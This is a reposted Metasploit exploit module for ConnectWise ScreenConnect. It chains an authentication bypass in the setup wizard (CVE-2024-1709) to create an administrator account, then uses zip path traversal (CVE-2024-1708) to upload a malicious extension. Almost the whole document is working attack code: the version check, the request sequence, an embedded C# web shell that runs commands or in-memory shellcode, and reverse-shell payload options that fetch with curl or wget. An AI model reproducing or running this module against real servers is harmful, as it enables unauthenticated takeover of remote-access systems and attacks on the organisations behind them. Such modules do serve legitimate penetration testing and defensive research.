Share
## https://sploitus.com/exploit?id=PACKETSTORM:177255
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ConnectWise ScreenConnect Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create  
a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage  
this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7  
and below are affected.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF RCE Exploit  
'WatchTowr', # Auth Bypass PoC  
],  
'References' => [  
['CVE', '2024-1708'], # Path traversal when extracting zip file.  
['CVE', '2024-1709'], # Auth bypass to create admin account.  
['URL', 'https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8'], # Vendor Advisory  
['URL', 'https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/'], # Auth Bypass PoC  
['URL', 'https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass'] # Analysis of both CVEs  
],  
'DisclosureDate' => '2024-02-19',  
'Platform' => %w[win linux unix],  
'Arch' => [ARCH_X64, ARCH_CMD],  
'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows, root on Linux.  
'Targets' => [  
[  
# Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads:  
# windows/x64/meterpreter/reverse_tcp  
'Windows In-Memory', {  
'Platform' => 'win',  
'Arch' => ARCH_X64  
}  
],  
[  
# Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads:  
# cmd/windows/http/x64/meterpreter/reverse_tcp  
'Windows Command', {  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'FETCH_COMMAND' => 'CURL',  
'FETCH_WRITABLE_DIR' => '%TEMP%'  
}  
}  
],  
[  
# Tested ScreenConnect 20.3.31734 on Ubuntu 18.04.6 with payloads:  
# cmd/linux/http/x64/meterpreter/reverse_tcp  
# cmd/unix/reverse_bash  
'Linux Command', {  
'Platform' => %w[linux unix],  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'FETCH_COMMAND' => 'WGET',  
'FETCH_WRITABLE_DIR' => '/tmp'  
}  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 8040,  
'SSL' => false,  
'EXITFUNC' => 'thread'  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS,  
CONFIG_CHANGES,  
# The existing administrator account will be replaced  
ACCOUNT_LOCKOUTS  
]  
}  
)  
)  
  
register_options([  
OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alpha_lower(8)]),  
OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(16)])  
])  
end  
  
def check  
# This is a file found on the recent 23.9.7.8804 (Circa 2024), an out of support 20.3.31734 (Circa 2021), and  
# a very old 2.5.3409.4645 (Circa 2012). So we can expect this file to exist on all targets. As this endpoint  
# expects authentication, the response will be a 302 redirect to the Login page. As Windows is case insensitive  
# we can request 'Host.aspx' with any case and get the expected 302 response, however Linux is case sensitive and  
# will always 404 a request to 'Host.aspx' if we jumble up the case. Both a 302 and 404 response will still include  
# the Server header, which we use to confirm both ScreenConnect and the version number.  
host_aspx = 'Host.aspx'  
  
host_aspx = loop do  
jumblecase_host_aspx = host_aspx.chars.map { |c| rand(2) == 0 ? c.upcase : c.downcase }.join  
break jumblecase_host_aspx unless jumblecase_host_aspx == host_aspx  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, host_aspx)  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 302 || res.code == 404  
  
platform = res.code == 302 ? 'Windows' : 'Linux'  
  
if res.headers.key?('Server') && (res.headers['Server'] =~ %r{ScreenConnect/(\d+\.\d+.\d+)})  
  
detected = "ConnectWise ScreenConnect #{Regexp.last_match(1)} running on #{platform}."  
  
if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('23.9.7')  
return CheckCode::Appears(detected)  
end  
  
return CheckCode::Safe(detected)  
end  
  
CheckCode::Unknown  
end  
  
def exploit  
# Sanity check the USERNAME and PASSWORD will meet the servers password requirements.  
fail_with(Failure::BadConfig, 'USERNAME must not be empty.') if datastore['USERNAME'].empty?  
fail_with(Failure::BadConfig, 'PASSWORD must be 8 characters of more.') if datastore['PASSWORD'].length < 8  
  
#  
# 1. Begin the setup wizard using the vulnerability to access the SetupWizard.aspx page.  
#  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/')  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply when initiating setup wizard.')  
end  
  
viewstate, viewstategen = get_viewstate(res)  
unless viewstate && viewstategen  
fail_with(Failure::UnexpectedReply, 'Did not locate the view state after initiating setup wizard.')  
end  
  
#  
# 2. Advance to the next step in the setup.  
#  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'),  
'vars_post' => {  
'__EVENTTARGET' => '',  
'__EVENTARGUMENT' => '',  
'__VIEWSTATE' => viewstate,  
'__VIEWSTATEGENERATOR' => viewstategen,  
'ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton' => 'Next'  
}  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from first step in setup wizard.')  
end  
  
viewstate, viewstategen = get_viewstate(res)  
unless viewstate && viewstategen  
fail_with(Failure::UnexpectedReply, 'Did not locate the view after first step in setup wizard.')  
end  
  
#  
# 3. Create a new administrator account.  
#  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'),  
'vars_post' => {  
'__EVENTTARGET' => '',  
'__EVENTARGUMENT' => '',  
'__VIEWSTATE' => viewstate,  
'__VIEWSTATEGENERATOR' => viewstategen,  
'ctl00$Main$wizard$userNameBox' => datastore['USERNAME'],  
'ctl00$Main$wizard$emailBox' => Faker::Internet.email(name: datastore['USERNAME']).to_s,  
'ctl00$Main$wizard$passwordBox' => datastore['PASSWORD'],  
'ctl00$Main$wizard$verifyPasswordBox' => datastore['PASSWORD'],  
'ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton' => 'Next'  
}  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from create account step in setup wizard.')  
end  
  
print_status("Created account: #{datastore['USERNAME']}:#{datastore['PASSWORD']} (Note: This account will not be deleted by the module)")  
  
#  
# 4. Log in with this account to get an authenticated HTTP session.  
#  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'Administration'),  
'keep_cookies' => true,  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to login with admin credentials.')  
end  
  
if res.body =~ %r{"antiForgeryToken"\s*:\s*"([a-zA-Z0-9+/=]+)"}  
anti_forgery_token = Regexp.last_match(1)  
else  
# The antiForgeryToken is not present in older versions of ScreenConnect (Tested with 20.3.31734).  
print_warning('Could not locate anti forgery token after login with admin credentials.')  
anti_forgery_token = ''  
end  
  
#  
# 5. Create an extension to host the payload.  
#  
  
# NOTE: Rex::Text.rand_guid return a GUID string wrapped in curly braces which is not what we want, so we use  
# Faker::Internet.uuid instead.  
plugin_guid = Faker::Internet.uuid  
  
payload_ashx = "#{Rex::Text.rand_text_alpha_lower(8)}.ashx"  
  
# According to Microsoft (https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/) these are  
# the list of valid C# keywords, we create a Rex::RandomIdentifier::Generator to generate new identifiera for  
# use in the ASHX payload, and pass the list of valid C# keywords as a forbidden list so we dont accidentaly  
# generate a valid keyword.  
vars = Rex::RandomIdentifier::Generator.new({  
forbidden: %w[  
abstract add alias and args as ascending async await  
base bool break by byte case catch char checked class const continue decimal default delegate descending do  
double dynamic else enum equals event explicit extern false file finally fixed float for foreach from get  
global goto group if implicit in init int interface internal into is join let lock long managed nameof  
namespace new nint not notnull nuint null object on operator or orderby out override params partial private  
protected public readonly record ref remove required return sbyte scoped sealed select set short sizeof  
stackalloc static string struct switch this throw true try typeof uint ulong unchecked unmanaged unsafe ushort  
using value var virtual void volatile when where while with yield  
]  
})  
  
if target['Arch'] == ARCH_CMD  
payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %>  
using System;  
using System.Web;  
using System.Diagnostics;  
  
public class #{vars[:var_handler_class]} : IHttpHandler  
{  
public void ProcessRequest(HttpContext #{vars[:var_ctx]})  
{  
if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) {  
return;  
}  
  
byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]);  
  
string #{vars[:var_payload]} = System.Text.Encoding.UTF8.GetString(#{vars[:var_bytearray]});  
  
ProcessStartInfo #{vars[:var_psi]} = new ProcessStartInfo();  
  
#{vars[:var_psi]}.FileName = "#{target['Platform'] == 'win' ? 'cmd.exe' : '/bin/sh'}";  
  
#{vars[:var_psi]}.Arguments = "#{target['Platform'] == 'win' ? '/c' : '-c'} \\\"" + #{vars[:var_payload]} + "\\\"";  
  
#{vars[:var_psi]}.RedirectStandardOutput = true;  
  
#{vars[:var_psi]}.UseShellExecute = false;  
  
Process.Start(#{vars[:var_psi]});  
}  
  
public bool IsReusable { get { return true; } }  
})  
else  
payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %>  
using System;  
using System.Web;  
using System.Diagnostics;  
using System.Runtime.InteropServices;  
  
public class #{vars[:var_handler_class]} : IHttpHandler  
{  
[System.Runtime.InteropServices.DllImport("kernel32")]  
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect);  
  
[System.Runtime.InteropServices.DllImport("kernel32")]  
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);  
  
public void ProcessRequest(HttpContext #{vars[:var_ctx]})  
{  
if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) {  
return;  
}  
  
byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]);  
  
IntPtr #{vars[:var_func_addr]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{vars[:var_bytearray]}.Length, 0x3000, (IntPtr)0x40);  
  
Marshal.Copy(#{vars[:var_bytearray]}, 0, #{vars[:var_func_addr]}, #{vars[:var_bytearray]}.Length);  
  
IntPtr #{vars[:var_thread_id]} = IntPtr.Zero;  
  
CreateThread(IntPtr.Zero, UIntPtr.Zero, #{vars[:var_func_addr]}, IntPtr.Zero, 0, ref #{vars[:var_thread_id]});  
}  
  
public bool IsReusable { get { return true; } }  
})  
end  
  
manifest_data = %(<?xml version="1.0" encoding="utf-8"?>  
<ExtensionManifest>  
<Version>#{Faker::App.version}</Version>  
<Name>#{Faker::App.name}</Name>  
<Author>#{Faker::Name.name}</Author>  
<ShortDescription>#{Faker::Lorem.sentence}</ShortDescription>  
<Components>  
<WebServiceReference SourceFile="#{payload_ashx}"/>  
</Components>  
</ExtensionManifest>)  
  
zip_resources = Rex::Zip::Archive.new  
zip_resources.add_file("#{plugin_guid}/Manifest.xml", manifest_data)  
# We can leverage CVE-2024-1708 to write one level below the extension directory. This enable Linux targets to work.  
zip_resources.add_file("#{plugin_guid}/../#{payload_ashx}", payload_data)  
  
#  
# 6. Upload the payload extension.  
#  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'InstallExtension'),  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => "[\"#{Base64.strict_encode64(zip_resources.pack)}\"]",  
'headers' => {  
'X-Anti-Forgery-Token' => anti_forgery_token  
}  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to install extension.')  
end  
  
print_status("Uploaded Extension: #{plugin_guid}")  
  
if target['Platform'] == 'win'  
# On Windows the current working directory is C:\Windows\System32\ and we dont leak out the install path  
# so we use the default installation location...  
register_files_for_cleanup("C:\\Program Files (x86)\\ScreenConnect\\App_Extensions\\#{payload_ashx}")  
else  
# For Linux the current working is the install path (/opt/screenconnect) so we can use a relative path...  
register_files_for_cleanup("App_Extensions/#{payload_ashx}")  
end  
  
begin  
#  
# 7. Trigger the payload by requesting the extensions .ashx file.  
#  
if target['Arch'] == ARCH_CMD  
payload_data = payload.encoded.gsub('\\', '\\\\\\\\')  
else  
payload_data = payload.encoded  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'App_Extensions', payload_ashx),  
'keep_cookies' => true,  
'vars_post' => {  
vars[:var_payload_key] => Base64.strict_encode64(payload_data)  
}  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to trigger payload.')  
end  
ensure  
#  
# 8. Ensure we remove the extension when we are done.  
#  
print_status("Removing Extension: #{plugin_guid}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'UninstallExtension'),  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => "[\"#{plugin_guid}\"]",  
'headers' => {  
'X-Anti-Forgery-Token' => anti_forgery_token  
}  
)  
  
unless res&.code == 200  
print_warning('Failed to remove the extension.')  
end  
end  
end  
  
def get_viewstate(res)  
vs_input = res.get_html_document.at('input[name="__VIEWSTATE"]')  
unless vs_input&.key? 'value'  
print_error('Did not locate the __VIEWSTATE.')  
return nil  
end  
  
vsgen_input = res.get_html_document.at('input[name="__VIEWSTATEGENERATOR"]')  
unless vsgen_input&.key? 'value'  
# The __VIEWSTATEGENERATOR is not present in older versions of ScreenConnect (Tested with 20.3.31734).  
print_warning('Did not locate the __VIEWSTATEGENERATOR.')  
return [vs_input['value'], '']  
end  
  
[vs_input['value'], vsgen_input['value']]  
end  
end